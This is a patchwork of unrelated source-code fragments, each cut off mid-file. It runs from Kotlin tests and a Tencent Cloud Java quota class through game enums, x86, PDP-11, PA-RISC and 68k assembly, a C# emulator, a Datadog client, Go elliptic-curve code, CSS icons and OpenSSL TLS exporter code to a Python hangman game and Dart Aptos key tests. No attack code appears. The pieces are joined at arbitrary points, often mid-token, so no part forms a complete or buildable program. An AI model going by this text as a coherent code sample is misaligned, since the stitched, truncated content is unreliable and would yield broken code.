        val ndarray = mk.ndarray(mk[mk[1, 2], mk[3, 4]])
        assertEquals(2.5, KEStatistics.mean(ndarray))
    }
}package org.jetbrains.kotlin.spec

import ru.spbstu.pandoc.*

private const val SENTENCE_CLASS = "sentence"
private const val PARAGRAPH_CLASS = "paragraph"

private fun <T> Iterable<T>.breakBy(f : (T) -> Boolean): Pair<MutableList<T>, MutableList<T>> {
    val it = iterator()
    val before: MutableList<T> = mutableListOf()
    val after: MutableList<T> = mutableListOf()
    for(t in it) {
        if(f(t)) {
            after += t
            break
        }
        before += t
    }
    after.addAll(it.asSequence())
    return before to after
}

private fun <T> MutableList<T>.unconsed() = first() to subList(1, lastIndex + 1)

private val stopList = setOf(
        "e.g.", "i.e.", "w.r.t.", "ca.",
        "cca.", "etc.", "f.", "ff.",
        "i.a.", "Ph.D.", "Q.E.D.", "vs."
) // et.al. is commonly at the end of sentence => not here

private fun breakSentence(inlines: List<Inline>): Pair<List<Inline>, List<Inline>> {
    fun isEndLine(i: Inline): Boolean = when {
        i is Inline.Str
                && (i.text.endsWith(".") || i.text.endsWith("?") || i.text.endsWith("!"))
                && i.text !in stopList ->
                true
        i is Inline.LineBreak -> true
        else -> false
    }

    val (ac, bc) = inlines.breakBy(::isEndLine)
    if(bc.isEmpty()) return ac to emptyList()
    if(bc.size == 1) return inlines to emptyList()

    val (h, t_) = bc.unconsed()
    val (h2, tail) = t_.unconsed()

    when {
        h2 is Inline


 @return CurrentNum 当前用户已经创建的置放群组数量。
     */
    public Long getCurrentNum() {
        return this.CurrentNum;
    }

    /**
     * Set 当前用户已经创建的置放群组数量。
     * @param CurrentNum 当前用户已经创建的置放群组数量。
     */
    public void setCurrentNum(Long CurrentNum) {
        this.CurrentNum = CurrentNum;
    }

    /**
     * Get 物理机类型容灾组内实例的配额数。
     * @return CvmInHostGroupQuota 物理机类型容灾组内实例的配额数。
     */
    public Long getCvmInHostGroupQuota() {
        return this.CvmInHostGroupQuota;
    }

    /**
     * Set 物理机类型容灾组内实例的配额数。
     * @param CvmInHostGroupQuota 物理机类型容灾组内实例的配额数。
     */
    public void setCvmInHostGroupQuota(Long CvmInHostGroupQuota) {
        this.CvmInHostGroupQuota = CvmInHostGroupQuota;
    }

    /**
     * Get 交换机类型容灾组内实例的配额数。
     * @return CvmInSwitchGroupQuota 交换机类型容灾组内实例的配额数。
     */
    public Long getCvmInSwitchGroupQuota() {
        return this.CvmInSwitchGroupQuota;
    }

    /**
     * Set 交换机类型容灾组内实例的配额数。
     * @param CvmInSwitchGroupQuota 交换机类型容灾组内实例的配额数。
     */
    public void setCvmInSwitchGroupQuota(Long CvmInSwitchGroupQuota) {
        this.CvmInSwitchGroupQuota = CvmInSwitchGroupQuota;
    }

    /**
     * Get 机架类型容灾组内实例的配额数。
     * @return CvmInRackGroupQuota 机架类型容灾组内实例的配额数。
     */
    public Long getCvmInRackGroupQuota() {
        return this.CvmInRackGroupQuota;
    }

    /**
     * Set 机架类型容灾组内实例的配额数。
     * @param CvmInRackGroupQuota 机架类型容灾组内实例的配额数。
     */
    public void setCvmInRackGroupQuota(Long CvmInRackGroupQuota) {
        this.CvmInRackGroupQuota = CvmInRackGroupQuota;
    }

    public DisasterRecoverGroupQuota() {
    }

    /**
     * NOTE: Any ambiguous key set via .set("AnyKey", "value") will be a shallow copy,
     *       and any explicit key, i.e Foo, set via .setFoo("value") will be a deep copy.
     */
    public DisasterRecoverGroupQuota(DisasterRecoverGroupQuota source) {
        if (source.GroupQuota != null) {
            this.GroupQuota = new Long(source.GroupQuota);
        }
        if (source.CurrentNum != null) {
            this.CurrentNum = new Long(source.CurrentNum);
        }
        if (source.CvmInHostGroupQuota != null) {
            this.CvmInHostGroupQuota = new Long(source.CvmInHostGroupQuota);
        }
        if (source.CvmInSwitchGroupQuota != null) {
            this.CvmInSwitchGroupQuota = new Long(source.CvmInSwitchGroupQuota);
        }
        if (source.CvmInRackGroupQuota != null) {
            this.CvmInRackGroupQuota = new Long(source.CvmInRackGroupQuota


   :	4,  //宠物装备
	// DEPOT     :	5,  //信箱
	// WAREHOUSE :	6,  //仓库
	// FAIRYITEM :	7,  //精灵
	// RIDEITEM  :	8,  //坐骑
	// AUCTION   :	9,  //拍卖行
	// PLAYERITEM : 10, //主角身上的装备
}

//sexType =
//{
//	[0] : "无限制",
//	[1] : "男",
//	[2] : "女",
//}

let useTimeOptions:any = {
	BOTH          :	0,  //内外
	IN_COMBAT     :	1,  //战斗中使用，
	OUT_COMBAT    :	2,  //战斗外使用，
	LEITAI_COMBAT : 3,  //只能在擂台pk中使用
}

//useObjects =
//{
//	NONE  : 0,  //不能在战斗中使用
//	SELF  :	1,  //对己方使用
//	BOTH  :	2,  //对已方和敌方使用
//	ENEMY :	3,  //对敌方使用
//}

let equipQuality:any = {
	BLUE    :	1,
	GREEN      :	2,
	SKYLUBE : 3,
	FACHSAI    :	4,
	ORANGE    :	5,
	RED   :	6,
}

let opItemStatus:any = {
	NONE        : 0,  //无状态
	BIND        : 1,  //普通绑定/主动绑定
	PASSIVEBIND : 2,  //绑定专用/被动绑定
	UNBIND      : 3,  //解绑
}

let opTradeStatus:any = {
	TRADE_STATUS_OFFER        : 1,  //提出交易
	TRADE_STATUS_ACCEPT_OFFER : 2,  //接受交易要求
	TRADE_STATUS_REJECT_OFFER : 3,  //拒绝交易要求

	TRADE_STATUS_ITEM_UPDATE  : 4,  //物品改变
	TRADE_STATUS_PET_UPDATE   : 5,  //宠物改变
	TRADE_STATUS_MONEY_UPDATE : 6,  //现银改变

	TRADE_STATUS_LOCK         : 7,  //上锁（出价：包括金钱，道具，宠物）
	TRADE_STATUS_CANCEL_LOCK  : 8,  //取消上锁

	TRADE_STATUS_LOCK_SUCCESS : 9,  //上锁成功
	TRADE_STATUS_LOCK_FAIL    : 10, //上锁失败

	TRADE_STATUS_ACCEPT_LOCK  : 11, //接受交易
	TRADE_STATUS_REJECT_LOCK  : 12, //拒绝交易

	TRADE_STATUS_SUCCESS      : 13, //交易成功
	TRADE_STATUS_FAIL         : 14, //交易失败

	TRADE_STATUS_PRE          :	15, //未交易
	TRADE_STATUS_ING          :	16, //正在交易
	TRADE_STATUS_OK           :	17, //已确定    TRADE_STATUS_LOCK : 7,已上锁
}

let opTradeRet:any = {
	TRADE_RET_NONE            : 0,  //对方主动拒绝了请求
	TRADE_RET_BUSY            : 1,  //对方正在忙
	TRADE_RET_TEAM            : 2,  //对方在队伍当中
	TRADE_RET_FIGHT           : 3,  //对方正在战斗中
	TRADE_RET_TOOFAR          : 4,  //对方不在附近
	TRADE_RET_MONEY_ERROR     : 5,  //交易金钱不够
	TRADE_RET_ITEM_ERROR      : 6,  //存在不可以交易物品
	TRADE_RET_PET_ERROR       : 7,  //存在不可交易宠物
	TRADE_RET_OFFLINE         :	8,  //对方不在线

	TRADE_RET_SELF_MAXMONEY   : 9,  //自己无法携带更多的现银
	TRADE_RET_TARGET_MAXMONEY : 10, //对方无法携带更多的现银
	TRADE_RET_SELF_PACKET     :	11, //自己背包满了
	TRADE_RET_TARGET_PACKET   :	12, //对方背包满了
	TRADE_RET_SELF_MAXPET     :	13,
	TRADE_RET_TARGET_MAXPET   :	14,
	TRADE_RET_STALL           :	15, //摆摊中

	TRADE_RET_OTHER           : 30, //由于其他原因终止了


969

LBB0_320:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x20f88341         // cmp    r8d, 32
	JAE  LBB0_620
	WORD $0xf631             // xor    esi, esi
	JMP  LBB0_974

LBB0_323:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x10f88341         // cmp    r8d, 16
	JAE  LBB0_623
	WORD $0xf631             // xor    esi, esi
	JMP  LBB0_1104

LBB0_326:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x20f88341         // cmp    r8d, 32
	JAE  LBB0_626
	WORD $0xf631             // xor    esi, esi
	JMP  LBB0_1109

LBB0_329:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x10f88341         // cmp    r8d, 16
	JAE  LBB0_629
	WORD $0xf631             // xor    esi, esi
	JMP  LBB0_1114

LBB0_332:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x10f88341         // cmp    r8d, 16
	JAE  LBB0_632
	WORD $0xf631             // xor    esi, esi
	JMP  LBB0_1119

LBB0_335:
	WORD $0x8545; BYTE $0xc0 // test    r8d, r8d
	JLE  LBB0_1553
	WORD $0x8945; BYTE $0xc1 // mov    r9d, r8d
	LONG $0x10f88341         // cmp    r8d, 16
	JB   LBB0_337
	LONG $0x0a048d4a         // lea    rax, [rdx + r9]
	WORD $0x3948; BYTE $0xc8 // cmp    rax, rcx
	JBE  LBB0_841
	LONG $0xc9048d4a         // lea    rax, [rcx + 8*r9]
	WORD $0x3948; BYTE $0xd0 // cmp    rax, rdx
	JBE  LBB0_841

LBB0_337:
	WORD $0xf631 // xor    esi, esi

LBB0_1389:
	WORD $0x8949; BYTE $0xf0 // mov    r8, rsi
	WORD $0xf749; BYTE $0xd0 // not    r8
	WORD $0x014d; BYTE $0xc8 // add    r8, r9
	WORD $0x894c; BYTE $0xcf // mov    rdi, r9
	LONG $0x03e78348         // and    rdi, 3
	JE   LBB0_1391

LBB0_1390:
	LONG $0x04be0f48; BYTE $0x32 // movsx    rax,


s
                if (Log.Enabled) Log.Write(LogComponent.IOPMemory, "Memory-mapped I/O write at {0:x4}", address);
                _io.Out((byte)address, b);
            }
            else
            {
                // Nothing mapped here.
                if (Log.Enabled) Log.Write(LogComponent.IOPMemory, "Write to nonexistent memory at {0:x4}", address);
            }
        }

        public ushort ReadWord(ushort address)
        {
            return (ushort)(ReadByte(address) | (ReadByte((ushort)(address + 1)) << 8));
        }

        public void WriteWord(ushort address, ushort u)
        {
            WriteByte(address++, (byte)u);
            WriteByte(address, (byte)(u >> 8));
        }

        public void UpdateHostIDProm()
        {
            LoadHostIDProm();
        }

        private void LoadPROMs()
        {
            // Loads PROMs into ROM space.  The files for rev 3.1 are:
            //  U129 - 537P03029        - $0000
            //  U130 - 537P03030        - $0800
            //  U131 - 537P03700        - $1000
            //  U132 - 537P03032        - $1800

            LoadPROM("537P03029.bin", 0x0000);
            LoadPROM("537P03030.bin", 0x0800);
            LoadPROM("537P03700.bin", 0x1000);
            LoadPROM("537P03032.bin", 0x1800);
        }

        private void LoadPROM(string promName, ushort address)
        {
            string promPath;

            if (!string.IsNullOrWhiteSpace(StartupOptions.RomPath))
            {
                promPath = Path.Combine(StartupOptions.RomPath, promName);
            }
            else
            {
                promPath = Path.Combine("IOP", "PROM", promName);
            }

            try
            {
                using (FileStream promStream = new FileStream(promPath, FileMode.Open, FileAccess.Read))
                {
                    if (promStream.Length != 0x800)
                    {
                        throw new InvalidOperationException(
                            String.Format("PROM file {0} has unexpected size 0x{1:x}", promName, promStream.Length));
                    }

                    promStream.Read(_rom, address, 0x800);
                }
            }
            catch(FileNotFoundException e)
            {
                throw new FileNotFoundException(
                    String.Format("PROM file {0} was not found in directory {1}", promName, promPath),
                    e);
            }
        }

        private void LoadHostIDProm()
        {
            //
            // Copy data from the current emulator config into the HostID prom array.
            //
            for (int i = 0; i < 6; i++)
            {
                byte val = (byte)(Configuration.HostID >> (5 - i) * 8);
                SetIDPromByte(i, val);
            }

            //
            // Calculate the checksum of the PROM.  Looking at the PROM as
            // 8 bytes (big-endian) rather than 16 nibbles, this is a cyclic XOR of:
            // Bytes 0 & 1 - XOR'd together
            // Bytes 2-5
            // Checksum is stored in Byte 6, complemented checksum is in Byte 7.
            // Byte 8 appears to be unused.
            //
            byte checksum = RotateLeft((byte)(GetIDPromByte(0) ^ GetIDPromByte(1)));

            for (int i = 2; i < 6; i++)
            {
                checksum ^= GetIDPromByte(i);
                checksum = RotateLeft(checksum);
            }

            SetIDPromByte(6, checksum);
            SetIDPromByte(7, (byte)(~checksum));
        }

        private byte GetIDPromByte(int byteNumber)
        {
            return (byte)((_hostIdProm[byteNumber * 2] & 0xf) | (_hostIdProm[byteNumber * 2 + 1] << 4));
        }

        private void SetIDPromByte(int byteNumber, byte value)
        {
            _hostIdProm[


,-(sp)
	spl	5
	mov	4(r1),r2	/ last ptr
	bne	1f
	mov	_cfreelist,r2
	beq	9f
	mov	(r2),_cfreelist
	clr	(r2)+
	mov	r2,2(r1)	/ first ptr
	br	2f
1:
	bit	$7,r2
	bne	2f
	mov	_cfreelist,r3
	beq	9f
	mov	(r3),_cfreelist
	mov	r3,-10(r2)
	mov	r3,r2
	clr	(r2)+
2:
	movb	r0,(r2)+
	mov	r2,4(r1)
	inc	(r1)		/ count
	clr	r0
	mov	(sp)+,r3
	mov	(sp)+,r2
	mov	(sp)+,PS
	rts	pc
9:
	mov	pc,r0
	mov	(sp)+,r3
	mov	(sp)+,r2
	mov	(sp)+,PS
	rts	pc

.globl	_backup
.globl	_regloc
_backup:
	mov	2(sp),r0
	movb	ssr+2,r1
	jsr	pc,1f
	movb	ssr+3,r1
	jsr	pc,1f
	movb	_regloc+7,r1
	asl	r1
	add	r0,r1
	mov	ssr+4,(r1)
	clr	r0
2:
	rts	pc
1:
	mov	r1,-(sp)
	asr	(sp)
	asr	(sp)
	asr	(sp)
	bic	$!7,r1
	movb	_regloc(r1),r1
	asl	r1
	add	r0,r1
	sub	(sp)+,(r1)
	rts	pc

.globl	_fubyte, _subyte
.globl	_fuword, _suword
.globl	_fuibyte, _suibyte
.globl	_fuiword, _suiword
_fuibyte:
	mov	2(sp),r1
	bic	$1,r1
	jsr	pc,giword
	br	2f

_fubyte:
	mov	2(sp),r1
	bic	$1,r1
	jsr	pc,gword

2:
	cmp	r1,2(sp)
	beq	1f
	swab	r0
1:
	bic	$!377,r0
	rts	pc

_suibyte:
	mov	2(sp),r1
	bic	$1,r1
	jsr	pc,giword
	mov	r0,-(sp)
	cmp	r1,4(sp)
	beq	1f
	movb	6(sp),1(sp)
	br	2f
1:
	movb	6(sp),(sp)
2:
	mov	(sp)+,r0
	jsr	pc,piword
	clr	r0
	rts	pc

_subyte:
	mov	2(sp),r1
	bic	$1,r1
	jsr	pc,gword
	mov	r0,-(sp)
	cmp	r1,4(sp)
	beq	1f
	movb	6(sp),1(sp)
	br	2f
1:
	movb	6(sp),(sp)
2:
	mov	(sp)+,r0
	jsr	pc,pword
	clr	r0
	rts	pc

_fuiword:
	mov	2(sp),r1
fuiword:
	jsr	pc,giword
	rts	pc

_fuword:
	mov	2(sp),r1
fuword:
	jsr	pc,gword
	rts


 Datadog, Circuit Opened - HTTP");
            }

            try
            {
                var content = new StringContent(payload);
                content.Headers.ContentType = MediaTypeHeaderValue.Parse("application/json");
                var response = await _client.PostAsync($"/api/v1/series?api_key={_options.ApiKey}", content, cancellationToken);

                if (!response.IsSuccessStatusCode)
                {
                    Interlocked.Increment(ref _failureAttempts);

                    var errorMessage = $"Failed to write to Datadog - StatusCode: {response.StatusCode} Reason: {response.ReasonPhrase}";
                    Logger.Error(errorMessage);

                    return new DatadogWriteResult(false, errorMessage);
                }

                Logger.Trace("Successful write to Datadog");

                return new DatadogWriteResult(true);
            }
            catch (Exception ex)
            {
                Interlocked.Increment(ref _failureAttempts);
                Logger.Error(ex, "Failed to write to Datadog");
                return new DatadogWriteResult(false, ex.ToString());
            }
        }

        private bool NeedToBackoff()
        {
            if (Interlocked.Read(ref _failureAttempts) < _failuresBeforeBackoff)
            {
                return false;
            }

            if (Interlocked.Read(ref _backOffTicks) == 0)
            {
                Interlocked.Exchange(ref _backOffTicks, DateTime.UtcNow.Add(_backOffPeriod).Ticks);
            }

            if (DateTime.UtcNow.Ticks <= Interlocked.Read(ref _backOffTicks))
            {
                return true;
            }

            Interlocked.Exchange(ref _failureAttempts, 0);
            Interlocked.Exchange(ref _backOffTicks, 0);

            return false;
        }
    }
}


 %r21				/* Get current thread register */
	cmpb,<>,n	%r21, %r28, cas_lock		/* Called recursive? */
	b	lws_exit				/* Return error! */
	ldo	-EDEADLOCK(%r0), %r21
cas_lock:
	cmpb,=,n	%r0, %r28, cas_nocontend	/* Is nobody using it? */
	ldo	1(%r0), %r28				/* 1st case */
	b	lws_exit				/* Contended... */
	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
cas_nocontend:
# endif
/* ENABLE_LWS_DEBUG */

	LDCW	0(%sr2,%r20), %r28			/* Try to acquire the lock */
	cmpb,<>,n	%r0, %r28, cas_action		/* Did we get it? */
cas_wouldblock:
	ldo	2(%r0), %r28				/* 2nd case */
	b	lws_exit				/* Contended... */
	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
#endif
/* CONFIG_SMP */

	/*
		prev = *addr;
		if ( prev == old )
		  *addr = new;
		return prev;
	*/

	/* NOTES:
		This all works becuse intr_do_signal
		and schedule both check the return iasq
		and see that we are on the kernel page
		so this process is never scheduled off
		or is ever sent any signal of any sort,
		thus it is wholly atomic from usrspaces
		perspective
	*/
cas_action:
#if defined CONFIG_SMP && ENABLE_LWS_DEBUG
	/* DEBUG */
	mfctl	%cr27, %r1
	stw	%r1, 4(%sr2,%r20)
#endif
	/* The load and store could fail */
1:	ldw	0(%sr3,%r26), %r28
	sub,<>	%r28, %r25, %r0
2:	stw	%r24, 0(%sr3,%r26)
#ifdef CONFIG_SMP
	/* Free lock */
	stw	%r20, 0(%sr2,%r20)
# if ENABLE_LWS_DEBUG
	/* Clear thread register indicator */
	stw	%r0, 4(%sr2,%r20)
# endif
#endif
	/* Return to userspace, set no error */
	b	lws_exit
	copy	%r0, %r21

3:
	/* Error occured on load or store */
#ifdef CONFIG_SMP
	/* Free lock */
	stw	%r20, 0(%sr2,%r20)
# if ENABLE_LWS_DEBUG
	stw	%r0, 4(%sr2,%r20)
# endif
#endif
	b	lws_exit
	ldo	-EFAULT(%r0),%r21	/* set errno */
	nop
	nop
	nop
	nop

	/* Two exception table entries, one for the load,
	   the other for the store. Either return -EFAULT.
	   Each of the entries must be relocated. */
	.section __ex_table,"aw"
	ASM_ULONG_INSN (1b - linux_gateway_page), (3b - linux_gateway_page)
	ASM_ULONG_INSN (2b - linux_gateway_page), (3b - linux_gateway_page)
	.previous

	/* Make sure nothing else is placed on this page */
	.align PAGE_SIZE
END(linux_gateway_page)
ENTRY(end_linux_gateway_page)

	/* Relocate symbols assuming linux_gateway_page is mapped
	   to virtual address 0x0 */

#define LWS_ENTRY(_name_) ASM_ULONG_INSN (lws_##_name_ - linux_gateway_page)

	.section .rodata,"a"

	.align PAGE_SIZE
	/* Light-weight-syscall table */
	/* Start of lws table. */
ENTRY(lws_table)
	LWS_ENTRY(compare_and_swap32)	/* 0 - ELF32 Atomic compare and swap */
	LWS_


.mulWindowed(&g2Gen, s)
	}

}

// String converts p to affine coordinates and returns its string representation E(x,y) or "O" if it is infinity.
func (p *G2Jac) String() string {
	_p := G2Affine{}
	_p.FromJacobian(p)
	return _p.String()
}

// FromAffine converts a point a from affine to Jacobian coordinates.
func (p *G2Jac) FromAffine(a *G2Affine) *G2Jac {
	if a.IsInfinity() {
		p.Z.SetZero()
		p.X.SetOne()
		p.Y.SetOne()
		return p
	}
	p.Z.SetOne()
	p.X.Set(&a.X)
	p.Y.Set(&a.Y)
	return p
}

// IsOnCurve returns true if the Jacobian point p in on the curve.
func (p *G2Jac) IsOnCurve() bool {
	var left, right, tmp, ZZ fptower.E4
	left.Square(&p.Y)
	right.Square(&p.X).Mul(&right, &p.X)
	ZZ.Square(&p.Z)
	tmp.Square(&ZZ).Mul(&tmp, &ZZ)
	tmp.MulBybTwistCurveCoeff(&tmp)
	right.Add(&right, &tmp)
	return left.Equal(&right)
}

// IsInSubGroup returns true if p is on the r-torsion, false otherwise.
// https://eprint.iacr.org/2021/1130.pdf, sec.4
// and https://eprint.iacr.org/2022/352.pdf, sec. 4.2
// ψ(p) = [x₀]P
func (p *G2Jac) IsInSubGroup() bool {
	if !p.IsOnCurve() {
		return false
	}
	var res, tmp G2Jac
	tmp.psi(p)
	res.mulBySeed(p).
		SubAssign(&tmp)

	return res.Z.IsZero()

}

// mulWindowed computes the 2-bits windowed double-and-add scalar
// multiplication p=[s]q in Jacobian coordinates.
func (p *G2Jac) mulWindowed(q *G2Jac, s *big.Int) *G2Jac {

	var res G2Jac
	var ops [3]G2Jac

	ops[0].Set(q)
	if s.Sign() == -1 {
		ops[0].Neg(&ops[0])
	}
	res.Set(&g2Infinity)
	ops[1].Double(&ops[0])
	ops[2].Triple(&ops[0])

	b := s.Bytes()
	for i := range b {
		w := b[i]
		mask := byte(0xc0)
		for j := 0; j < 4; j++ {
			res.DoubleAssign().DoubleAssign()
			c := (w & mask) >> (6 - 2*j)
			if c != 0 {
				res.AddAssign(&ops[c-1])
			}
			mask = mask >> 2
		}
	}
	p.Set(&res)

	return p

}

// mulBySeed multiplies the point q by the seed xGen in Jacobian coordinates
// using an optimized addition chain.
func (p *G2Jac) mulBySeed(q *G2Jac) *G2Jac {
	p.mulWindowed(q, &xGen)
	return p
}

// psi sets p to ψ(q) = u o π o u⁻¹ where u:E'→E is the isomorphism from the twist to the curve E and π is the Frobenius map.
func (p *G2Jac) psi(q *G2Jac) *G2Jac {
	p.Set(q)
	p.X.Frobenius(&p.X).Mul(&p.X, &endo.u)
	p.Y


.sect	.text
	.sect	.rom
	.sect	.data
	.sect	.bss
	.sect	.text
!
! This interface routine generated automatically
! according to the prototype:
!
!	romcall 0xa9f4 void ExitToShell();
!
	.extern	_ExitToShell
_ExitToShell:
	link	a6,#0
	movem.l	d2/a5,-(sp)
	tst.l	savedsp
	beq	LL0
	move.l	a7,a0
	move.l	savedsp,a7
	move.l	a0,-(sp)
LL0:
	move.l	saveda5,a5
	.data2	0xa9f4
	tst.l	savedsp
	beq	LL1
	move.l	(sp)+,a7
LL1:
	movem.l	(sp)+,d2/a5
	unlk	a6
	rts

!
! This interface routine generated automatically
! according to the prototype:
!
!	romcall 0xa9f5 void GetAppParms
!	  (
!		outStringPtr apName,
!		Short *apRefNum,
!		Handle *apParam
!	  );
!
	.extern	_GetAppParms
_GetAppParms:
	link	a6,#0
	movem.l	d2/a5,-(sp)
	tst.l	savedsp
	b


path d="m10 79h2v1h-2z" fill="%2318a0fb"/%3E%3Cpath d="m22 74h-8v1h8z" fill="%2318a0fb"/%3E%3Cpath d="m14 84h8v1h-8z" fill="%2318a0fb"/%3E%3Cpath d="m22 79h-8v1h8z" fill="%2318a0fb"/%3E%3Cpath d="m12 106h-2v1h2z" fill="%23fff"/%3E%3Cpath d="m12 116h-2v1h2z" fill="%23fff"/%3E%3Cpath d="m10 111h2v1h-2z" fill="%23fff"/%3E%3Cpath d="m22 106h-8v1h8z" fill="%23fff"/%3E%3Cpath d="m14 116h8v1h-8z" fill="%23fff"/%3E%3Cpath d="m22 111h-8v1h8z" fill="%23fff"/%3E%3C/svg%3E');
}
.icon--list {
  background-image: url('data:image/svg+xml,%3Csvg fill="none" height="128" viewBox="0 0 32 128" width="32" xmlns="http://www.w3.org/2000/svg"%3E%3Cg fill="%23000"%3E%3Cpath d="m23 10h-14v1h14z" fill-opacity=".8"/%3E%3Cpath d="m9 15.5h14v1h-14z" fill-opacity=".8"/%3E%3Cpath d="m9 21h14v1h-14z" fill-opacity=".8"/%3E%3Cpath d="m23 42h-14v1h14z" fill-opacity=".3"/%3E%3Cpath d="m9 47.5h14v1h-14z" fill-opacity=".3"/%3E%3Cpath d="m9 53h14v1h-14z" fill-opacity=".3"/%3E%3C/g%3E%3Cpath d="m23 74h-14v1h14z" fill="%2318a0fb"/%3E%3Cpath d="m9 79.5h14v1h-14z" fill="%2318a0fb"/%3E%3Cpath d="m9 85h14v1h-14z" fill="%2318a0fb"/%3E%3Cpath d="m23 106h-14v1h14z" fill="%23fff"/%3E%3Cpath d="m9 111.5h14v1h-14z" fill="%23fff"/%3E%3Cpath d="m9 117h14v1h-14z" fill="%23fff"/%3E%3C/svg%3E');
}
.icon--lock-unlocked {
  background-image: url('data:image/svg+xml,%3Csvg fill="none" height="128" viewBox="0 0 32 128" width="32" xmlns="http://www.w3.org/2000/svg"%3E%3Cpath d="m18 15h.5c.2761 0 .5.2239.5.5v5c0 .2761-.2239.5-.5.5h-6c-.2761 0-.5-.2239-.5-.5v-5c0-.2761.2239-.5.5-.5h4.5v-2.5c0-1.3807 1.1193-2.5 2.5-2.5s2.5 1.1193 2.5 2.5v1.5h-1v-1.5


      || !tls13_hkdf_expand(s, md, s->exporter_master_secret,
                                  (const unsigned char *)label, llen,
                                  data, datalen, exportsecret, hashsize, 0)
            || !tls13_hkdf_expand(s, md, exportsecret, exporterlabel,
                                  sizeof(exporterlabel) - 1, hash, hashsize,
                                  out, olen, 0))
        goto err;

    ret = 1;
 err:
    EVP_MD_CTX_free(ctx);
    return ret;
}

int tls13_export_keying_material_early(SSL *s, unsigned char *out, size_t olen,
                                       const char *label, size_t llen,
                                       const unsigned char *context,
                                       size_t contextlen)
{
#ifdef CHARSET_EBCDIC
  static const unsigned char exporterlabel[] = {0x65, 0x78, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x72, 0x00};
#else
  static const unsigned char exporterlabel[] = "exporter";
#endif
    unsigned char exportsecret[EVP_MAX_MD_SIZE];
    unsigned char hash[EVP_MAX_MD_SIZE], data[EVP_MAX_MD_SIZE];
    const EVP_MD *md;
    EVP_MD_CTX *ctx = EVP_MD_CTX_new();
    unsigned int hashsize, datalen;
    int ret = 0;
    const SSL_CIPHER *sslcipher;

    if (ctx == NULL || !ossl_statem_export_early_allowed(s))
        goto err;

    if (!s->server && s->max_early_data > 0
            && s->session->ext.max_early_data == 0)
        sslcipher = SSL_SESSION_get0_cipher(s->psksession);
    else
        sslcipher = SSL_SESSION_get0_cipher(s->session);

    md = ssl_md(sslcipher->algorithm2);

    /*
     * Calculate the hash value and store it in |data|. The reason why
     * the empty string is used is that the definition of TLS-Exporter
     * is like so:
     *
     * TLS-Exporter(label, context_value, key_length) =
     *     HKDF-Expand-Label(Derive-Secret(Secret, label, ""),
     *                       "exporter", Hash(context_value), key_length)
     *
     * Derive-Secret(Secret, Label, Messages) =
     *       HKDF-Expand-Label(Secret, Label,
     *                         Transcript-Hash(Messages), Hash.length)
     *
     * Here Transcript-Hash is the cipher suite hash algorithm.
     */
    if (EVP_DigestInit_ex(ctx, md, NULL) <= 0
            || EVP_DigestUpdate(ctx, context, contextlen) <= 0
            || EVP_DigestFinal_ex(ctx, hash, &hashsize) <= 0
            || EVP_DigestInit_ex(ctx, md, NULL) <= 0
            || EVP_DigestFinal_ex(ctx, data, &datalen) <= 0
            || !tls13_hkdf_expand(s, md, s->early_exporter_master_secret,
                                  (const unsigned char *)label, llen,
                                  data, datalen, exportsecret, hashsize, 0)
            || !tls13_hkdf_expand(s, md, exportsecret, exporterlabel,
                                  sizeof(exporterlabel) - 1, hash, hashsize,
                                  out, olen, 0))
        goto err;

    ret = 1;
 err:
    EVP_MD_CTX_free(ctx);
    return ret;
}


import os

palavra_secreta = input('Digite a palavra que outro jogador terá que adivinhar: ')
qtd_letras = len(palavra_secreta)
os.system('cls')
print(f'A palavra secreta tem {qtd_letras} letras')
acertos = ''
num_tentativas = 0

while True:
    letra_digitada = input('Digite uma letra: ')

    num_tentativas += 1

#checar se o usuario digitou apenas uma letra
    if len(letra_digitada) > 1:
        print('Digite apenas uma letra.')
        continue

#adicionar letra digitada a variavel de acertos, fora do while
    if letra_digitada in palavra_secreta:
        acertos += letra_digitada

#logica para mostrar a palavra ou *
    palavra_formada = ''

    # iteração
    for letra_secreta in palavra_secreta:

        #condição para adicionar uma letra a palavra formada
        if letra_secreta in acertos:
            palavra_formada += letra_secreta

        #condição para letra digitada errado
        else:
            palavra_formada += '*'

    print(f'Palavra formada: {palavra_formada}')

    if palavra_formada == palavra_secreta:
        os.system('cls')
        print('VOCÊ GANHOU!! PARABÉNS')
        print(f'A palavra era: {palavra_formada}')
        print(f'Tentativas: {num_tentativas}')
        break

    if num_tentativas >= 25:
        print('Você atingiu o número máximo de tentativas. Você perdeu!!')
        break


ublicKey
            ], threshold: 2),
        throwsA(TypeMatcher<DartAptosPluginException>()));
  });
}

void _testMultiEdAccount2() {
  test("Multi Ed25519 account 3", () {
    final privateKey1 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 12));
    final privateKey2 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 13));
    final privateKey3 =
        AptosED25519PrivateKey.fromBytes(List<int>.filled(32, 14));
    final account = AptosMultiEd25519AccountPublicKey(publicKeys: [
      privateKey1.publicKey,
      privateKey2.publicKey,
      privateKey3.publicKey
    ], threshold: 2);
    expect(
        account.toAddress(),
        AptosAddress(
            "0xdab62cecd6d92eca7968f1184bce94992b062868d23ea09752c6d04ce6318407"));
    expect(account.toBcsHex(),
        "610b513ad9b4924015ca0902ed079044d3ac5dbec2306f06948c10da8eb6e39f2d91a28a0b74381593a4d9469579208926afc8ad82c8839b7644359b9eba9a4b3a0beef5a9e679e6a3e134fe27837bff32c7cb5f5d44ea09bcb0e542bad6a4c0cc02");

    final decode =
        AptosMultiEd25519AccountPublicKey.deserialize(account.toBcs());
    expect(decode.toBcsHex(), account.toBcsHex());
    expect(decode.toHex(),
